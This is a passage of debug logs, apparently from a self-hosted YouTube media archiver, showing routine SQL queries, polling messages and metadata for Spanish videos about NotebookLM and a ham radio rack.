s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:47:01.150 [debug] QUERY OK source="sources" db=0.4ms idle=383.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:47:01.151 [debug] QUERY OK source="media_items" db=0.7ms idle=383.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 16:58:33Z], 2] 22:47:01.152 [debug] QUERY OK source="media_items" db=0.9ms idle=384.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 5: TEXTO A AUDIO 2.0: ¡Descubre cómo NotebookLM transforma texto en contenido interactivo y podcasts en español! 🚀 Convierte lecciones de física y accede a FAQs de forma natural. ¡Una revolución lingüística y de aprendizaje te espera! #NotebookLM #IA #Español #NotebookLM #IA #PodcastEnEspañol #TransformacionDeTexto #AprendizajeOnline #MindMap #InteligenciaArtificial #ContenidoInteractivo #EducacionEnEspañol #Productividad", "¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes", "bd2c9646-807d-420d-9d72-f9b377f013c9", 36, false, "99-zSo_6aEQ", "https://www.youtube.com/shorts/99-zSo_6aEQ", 5, "/downloads/music/IA mí QUÉ/¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes.m4a", false, false, true, 2, [], 96, ~U[2025-05-24 16:58:33Z], ~U[2026-02-07 21:47:01Z], ~U[2026-02-07 21:47:01Z], "PARTE 5: TEXTO A AUDIO 2.0: ¡Descubre cómo NotebookLM transforma texto en contenido interactivo y podcasts en español! 🚀 Convierte lecciones de física y accede a FAQs de forma natural. ¡Una revolución lingüística y de aprendizaje te espera! #NotebookLM #IA #Español #NotebookLM #IA #PodcastEnEspañol #TransformacionDeTexto #AprendizajeOnline #MindMap #InteligenciaArtificial #ContenidoInteractivo #EducacionEnEspañol #Productividad", "¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes", 36, false, "99-zSo_6aEQ", "https://www.youtube.com/shorts/99-zSo_6aEQ", "/downloads/music/IA mí QUÉ/¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes.m4a", true, 2, ~U[2025-05-24 16:58:33Z]] 22:47:01.153 [debug] QUERY OK source="sources" db=0.4ms idle=310.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:47:01.154 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:47:01.155 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1375] 22:47:01.155 [debug] Current batch of media processed. Will check again in 1000ms 22:47:01.234 [debug] Current batch of media processed. Will check again in 1000ms 22:47:02.155 [debug] Current batch of media processed. Will check again in 1000ms 22:47:02.235 [debug] Current batch of media processed. Will check again in 1000ms 22:47:03.156 [debug] Current batch of media processed. Will check again in 1000ms 22:47:03.236 [debug] Current batch of media processed. Will check again in 1000ms 22:47:04.158 [debug] Current batch of media processed. Will check again in 1000ms 22:47:04.237 [debug] Current batch of media processed. Will check again in 1000ms 22:47:05.158 [debug] Current batch of media processed. Will check again in 1000ms 22:47:05.238 [debug] Current batch of media processed. Will check again in 1000ms 22:47:06.159 [debug] Current batch of media processed. Will check again in 1000ms 22:47:06.239 [debug] Current batch of media processed. Will check again in 1000ms 22:47:07.160 [debug] Current batch of media processed. Will check again in 1000ms 22:47:07.240 [debug] Current batch of media processed. Will check again in 1000ms 22:47:08.161 [debug] Current batch of media processed. Will check again in 1000ms 22:47:08.241 [debug] Current batch of media processed. Will check again in 1000ms 22:47:09.162 [debug] Current batch of media processed. Will check again in 1000ms 22:47:09.242 [debug] Current batch of media processed. Will check again in 1000ms 22:47:10.163 [debug] Current batch of media processed. Will check again in 1000ms 22:47:10.243 [debug] Current batch of media processed. Will check again in 1000ms 22:47:11.164 [debug] Current batch of media processed. Will check again in 1000ms 22:47:11.244 [debug] Current batch of media processed. Will check again in 1000ms 22:47:12.165 [debug] Current batch of media processed. Will check again in 1000ms 22:47:12.245 [debug] Current batch of media processed. Will check again in 1000ms 22:47:13.166 [debug] Current batch of media processed. Will check again in 1000ms 22:47:13.246 [debug] Current batch of media processed. Will check again in 1000ms 22:47:14.167 [debug] Current batch of media processed. Will check again in 1000ms 22:47:14.247 [debug] Current batch of media processed. Will check again in 1000ms 22:47:15.168 [debug] Current batch of media processed. Will check again in 1000ms 22:47:15.248 [debug] Current batch of media processed. Will check again in 1000ms 22:47:16.169 [debug] Current batch of media processed. Will check again in 1000ms 22:47:16.249 [debug] Current batch of media processed. Will check again in 1000ms 22:47:17.170 [debug] Current batch of media processed. Will check again in 1000ms 22:47:17.250 [debug] Current batch of media processed. Will check again in 1000ms 22:47:18.171 [debug] Current batch of media processed. Will check again in 1000ms 22:47:18.252 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Os comparto mi experiencia de montar un rack de transporte para una estación de radioaficionado móvil, usando mi Icom IC705.\n\n\nRack Thomman\nhttps://www.thomann.de/es/thomann_rack_case_4u_shallow.htm\n\nBandejas:\nhttps://www.thomann.de/es/thon_rackwanne_1he.htm\n\n#rack #ic705 #radioaficionados #atu100 #n7ddc #mx-p50 #powerpoles #diyelectronics\n\n\n\n Contenido del video \n \n 00:00 - Presentación\n 00:34 - Intro Canal\n 00:52 - Rack Thomman\n 01:46 - Frontal rack\n 03:14 - relés térmicos\n 05:13 - Ideas\n 07:23 - Parte trasera\n 12:16 - Bolsa en tapa delantera\n 13:50 - Conclusiones", "duration" => 908, "filename" => "/downloads/music/ea3grn/121 - RACK PARA IC705.m4a", "id" => "7n7Jc2fUiBA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7n7Jc2fUiBA", "playlist_index" => 60, "timestamp" => 1700758807, "title" => "121 - RACK PARA IC705", "upload_date" => "20231123"} 22:47:18.253 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1485.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:47:18.254 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1487.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:47:18.255 [debug] QUERY OK source="media_items" db=0.6ms idle=1488.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-23 17:00:07Z], 3] 22:47:18.258 [debug] QUERY OK source="media_items" db=1.2ms idle=1383.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Os comparto mi experiencia de montar un rack de transporte para una estación de radioaficionado móvil, usando mi Icom IC705.\n\n\nRack Thomman\nhttps://www.thomann.de/es/thomann_rack_case_4u_shallow.htm\n\nBandejas:\nhttps://www.thomann.de/es/thon_rackwanne_1he.htm\n\n#rack #ic705 #radioaficionados #atu100 #n7ddc #mx-p50 #powerpoles #diyelectronics\n\n\n\n Contenido del video \n \n 00:00 - Presentación\n 00:34 - Intro Canal\n 00:52 - Rack Thomman\n 01:46 - Frontal rack\n 03:14 - relés térmicos\n 05:13 - Ideas\n 07:23 - Parte trasera\n 12:16 - Bolsa en tapa delantera\n 13:50 - Conclusiones", "121 - RACK PARA IC705", "c87813ea-4195-4a7b-bc65-4659f3e64dc2", 908, false, "7n7Jc2fUiBA", "https://www.youtube.com/watch?v=7n7Jc2fUiBA", 60, "/downloads/music/ea3grn/121 - RACK PARA IC705.m4a", false, false, false, 3, [], 98, ~U[2023-11-23 17:00:07Z], ~U[2026-02-07 21:47:18Z], ~U[2026-02-07 21:47:18Z], "Os comparto mi experiencia de montar un rack de transporte para una estación de radioaficionado móvil, usando mi Icom IC705.\n\n\nRack Thomman\nhttps://www.thomann.de/es/thomann_rack_case_4u_shallow.htm\n\nBandejas:\nhttps://www.thomann.de/es/thon_rackwanne_1he.htm\n\n#rack #ic705 #radioaficionados #atu100 #n7ddc #mx-p50 #powerpoles #diyelectronics\n\n\n\n Contenido del video \n \n 00:00 - Presentación\n 00:34 - Intro Canal\n 00:52 - Rack Thomman\n 01:46 - Frontal rack\n 03:14 - relés térmicos\n 05:13 - Ideas\n 07:23 - Parte trasera\n 12:16 - Bolsa en tapa delantera\n 13:50 - Conclusiones", "121 - RACK PARA IC705", 908, false, "7n7Jc2fUiBA", "https://www.youtube.com/watch?v=7n7Jc2fUiBA", "/downloads/music/ea3grn/121 - RACK PARA IC705.m4a", false, 3, ~U[2023-11-23 17:00:07Z]] 22:47:18.258 [debug] QUERY OK source="sources" db=0.5ms idle=383.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:47:18.259 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:47:18.260 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1419] 22:47:18.260 [debug] Current batch of media processed. Will check again in 1000ms 22:47:19.172 [debug] Current batch of media processed. Will check again in 1000ms 22:47:19.260 [debug] Current batch of media processed. Will check again in 1000ms 22:47:20.173 [debug] Current batch of media processed. Will check again in 1000ms 22:47:20.261 [debug] Current batch of media processed. Will check again in 1000ms 22:47:21.174 [debug] Current batch of media processed. Will check again in 1000ms 22:47:21.262 [debug] Current batch of media processed. Will check again in 1000ms 22:47:21.269 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:22.175 [debug] Current batch of media processed. Will check again in 1000ms 22:47:22.263 [debug] Current batch of media processed. Will check again in 1000ms 22:47:23.176 [debug] Current batch of media processed. Will check again in 1000ms 22:47:23.264 [debug] Current batch of media processed. Will check again in 1000ms 22:47:24.177 [debug] Current batch of media processed. Will check again in 1000ms 22:47:24.265 [debug] Current batch of media processed. Will check again in 1000ms 22:47:25.178 [debug] Current batch of media processed. Will check again in 1000ms 22:47:25.266 [debug] Current batch of media processed. Will check again in 1000ms 22:47:26.179 [debug] Current batch of media processed. Will check again in 1000ms 22:47:26.267 [debug] Current batch of media processed. Will check again in 1000ms 22:47:27.180 [debug] Current batch of media processed. Will check again in 1000ms 22:47:27.268 [debug] Current batch of media processed. Will check again in 1000ms 22:47:28.181 [debug] Current batch of media processed. Will check again in 1000ms 22:47:28.269 [debug] Current batch of media processed. Will check again in 1000ms 22:47:29.182 [debug] Current batch of media processed. Will check again in 1000ms 22:47:29.270 [debug] Current batch of media processed. Will check again in 1000ms 22:47:30.183 [debug] Current batch of media processed. Will check again in 1000ms 22:47:30.271 [debug] Current batch of media processed. Will check again in 1000ms 22:47:31.184 [debug] Current batch of media processed. Will check again in 1000ms 22:47:31.272 [debug] Current batch of media processed. Will check again in 1000ms 22:47:32.185 [debug] Current batch of media processed. Will check again in 1000ms 22:47:32.273 [debug] Current batch of media processed. Will check again in 1000ms 22:47:33.186 [debug] Current batch of media processed. Will check again in 1000ms 22:47:33.274 [debug] Current batch of media processed. Will check again in 1000ms 22:47:34.187 [debug] Current batch of media processed. Will check again in 1000ms 22:47:34.275 [debug] Current batch of media processed. Will check again in 1000ms 22:47:35.188 [debug] Current batch of media processed. Will check again in 1000ms 22:47:35.276 [debug] Current batch of media processed. Will check again in 1000ms 22:47:36.189 [debug] Current batch of media processed. Will check again in 1000ms 22:47:36.277 [debug] Current batch of media processed. Will check again in 1000ms 22:47:37.190 [debug] Current batch of media processed. Will check again in 1000ms 22:47:37.278 [debug] Current batch of media processed. Will check again in 1000ms 22:47:38.191 [debug] Current batch of media processed. Will check again in 1000ms 22:47:38.279 [debug] Current batch of media processed. Will check again in 1000ms 22:47:39.192 [debug] Current batch of media processed. Will check again in 1000ms 22:47:39.280 [debug] Current batch of media processed. Will check again in 1000ms 22:47:40.193 [debug] Current batch of media processed. Will check again in 1000ms 22:47:40.281 [debug] Current batch of media processed. Will check again in 1000ms 22:47:41.194 [debug] Current batch of media processed. Will check again in 1000ms 22:47:41.282 [debug] Current batch of media processed. Will check again in 1000ms 22:47:42.195 [debug] Current batch of media processed. Will check again in 1000ms 22:47:42.283 [debug] Current batch of media processed. Will check again in 1000ms 22:47:43.196 [debug] Current batch of media processed. Will check again in 1000ms 22:47:43.284 [debug] Current batch of media processed. Will check again in 1000ms 22:47:44.197 [debug] Current batch of media processed. Will check again in 1000ms 22:47:44.285 [debug] Current batch of media processed. Will check again in 1000ms 22:47:45.199 [debug] Current batch of media processed. Will check again in 1000ms 22:47:45.286 [debug] Current batch of media processed. Will check again in 1000ms 22:47:46.199 [debug] Current batch of media processed. Will check again in 1000ms 22:47:46.287 [debug] Current batch of media processed. Will check again in 1000ms 22:47:47.200 [debug] Current batch of media processed. Will check again in 1000ms 22:47:47.288 [debug] Current batch of media processed. Will check again in 1000ms 22:47:48.201 [debug] Current batch of media processed. Will check again in 1000ms 22:47:48.289 [debug] Current batch of media processed. Will check again in 1000ms 22:47:49.202 [debug] Current batch of media processed. Will check again in 1000ms 22:47:49.290 [debug] Current batch of media processed. Will check again in 1000ms 22:47:50.203 [debug] Current batch of media processed. Will check again in 1000ms 22:47:50.291 [debug] Current batch of media processed. Will check again in 1000ms 22:47:51.204 [debug] Current batch of media processed. Will check again in 1000ms 22:47:51.272 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:51.292 [debug] Current batch of media processed. Will check again in 1000ms 22:47:52.205 [debug] Current batch of media processed. Will check again in 1000ms 22:47:52.293 [debug] Current batch of media processed. Will check again in 1000ms 22:47:53.206 [debug] Current batch of media processed. Will check again in 1000ms 22:47:53.294 [debug] Current batch of media processed. Will check again in 1000ms 22:47:54.207 [debug] Current batch of media processed. Will check again in 1000ms 22:47:54.295 [debug] Current batch of media processed. Will check again in 1000ms 22:47:55.208 [debug] Current batch of media processed. Will check again in 1000ms 22:47:55.296 [debug] Current batch of media processed. Will check again in 1000ms 22:47:56.209 [debug] Current batch of media processed. Will check again in 1000ms 22:47:56.297 [debug] Current batch of media processed. Will check again in 1000ms 22:47:57.210 [debug] Current batch of media processed. Will check again in 1000ms 22:47:57.298 [debug] Current batch of media processed. Will check again in 1000ms 22:47:58.211 [debug] Current batch of media processed. Will check again in 1000ms 22:47:58.299 [debug] Current batch of media processed. Will check again in 1000ms 22:47:59.212 [debug] Current batch of media processed. Will check again in 1000ms 22:47:59.300 [debug] Current batch of media processed. Will check again in 1000ms 22:48:00.129 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:00.214 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 4: TEXTO A AUDIO 2.0: Descubre NotebookLM, la herramienta esencial para educadores. Conecta tu Google Drive y transforma textos en mapas mentales interactivos y contenido multilingüe. ¡Explora las funcionalidades de NotebookLM para optimizar tu trabajo y potenciar la enseñanza con nosotros! #NotebookLM #Educación #GoogleDrive #MapasMentales #Multilingüe #TecnologíaEducativa #HerramientasParaProfesores #Productividad #Lifely #AprendizajeOnline", "duration" => 38, "filename" => "/downloads/music/IA mí QUÉ/¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO..m4a", "id" => "ah1EokrsQR4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ah1EokrsQR4", "playlist_index" => 6, "timestamp" => 1748091279, "title" => "¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO.", "upload_date" => "20250524"} 22:48:00.215 [debug] QUERY OK source="sources" db=0.6ms idle=1252.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:48:00.217 [debug] QUERY OK source="sources" db=0.5ms idle=450.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:48:00.219 [debug] QUERY OK source="media_items" db=0.6ms idle=451.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 12:54:39Z], 2] 22:48:00.220 [debug] QUERY OK source="media_items" db=1.1ms idle=256.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 4: TEXTO A AUDIO 2.0: Descubre NotebookLM, la herramienta esencial para educadores. Conecta tu Google Drive y transforma textos en mapas mentales interactivos y contenido multilingüe. ¡Explora las funcionalidades de NotebookLM para optimizar tu trabajo y potenciar la enseñanza con nosotros! #NotebookLM #Educación #GoogleDrive #MapasMentales #Multilingüe #TecnologíaEducativa #HerramientasParaProfesores #Productividad #Lifely #AprendizajeOnline", "¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO.", "450b6e2e-c569-4f6e-a8f0-1560175f9aaa", 38, false, "ah1EokrsQR4", "https://www.youtube.com/shorts/ah1EokrsQR4", 6, "/downloads/music/IA mí QUÉ/¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO..m4a", false, false, true, 2, [], 96, ~U[2025-05-24 12:54:39Z], ~U[2026-02-07 21:48:00Z], ~U[2026-02-07 21:48:00Z], "PARTE 4: TEXTO A AUDIO 2.0: Descubre NotebookLM, la herramienta esencial para educadores. Conecta tu Google Drive y transforma textos en mapas mentales interactivos y contenido multilingüe. ¡Explora las funcionalidades de NotebookLM para optimizar tu trabajo y potenciar la enseñanza con nosotros! #NotebookLM #Educación #GoogleDrive #MapasMentales #Multilingüe #TecnologíaEducativa #HerramientasParaProfesores #Productividad #Lifely #AprendizajeOnline", "¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO.", 38, false, "ah1EokrsQR4", "https://www.youtube.com/shorts/ah1EokrsQR4", "/downloads/music/IA mí QUÉ/¡NotebookLM REVOLUCIONA la EDUCACIÓN! 🤯 Descubre CÓMO..m4a", true, 2, ~U[2025-05-24 12:54:39Z]] 22:48:00.221 [debug] QUERY OK source="sources" db=0.5ms idle=91.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:48:00.222 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:00.223 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1376] 22:48:00.223 [debug] Current batch of media processed. Will check again in 1000ms 22:48:00.301 [debug] Current batch of media processed. Will check again in 1000ms 22:48:01.224 [debug] Current batch of media processed. Will check again in 1000ms 22:48:01.302 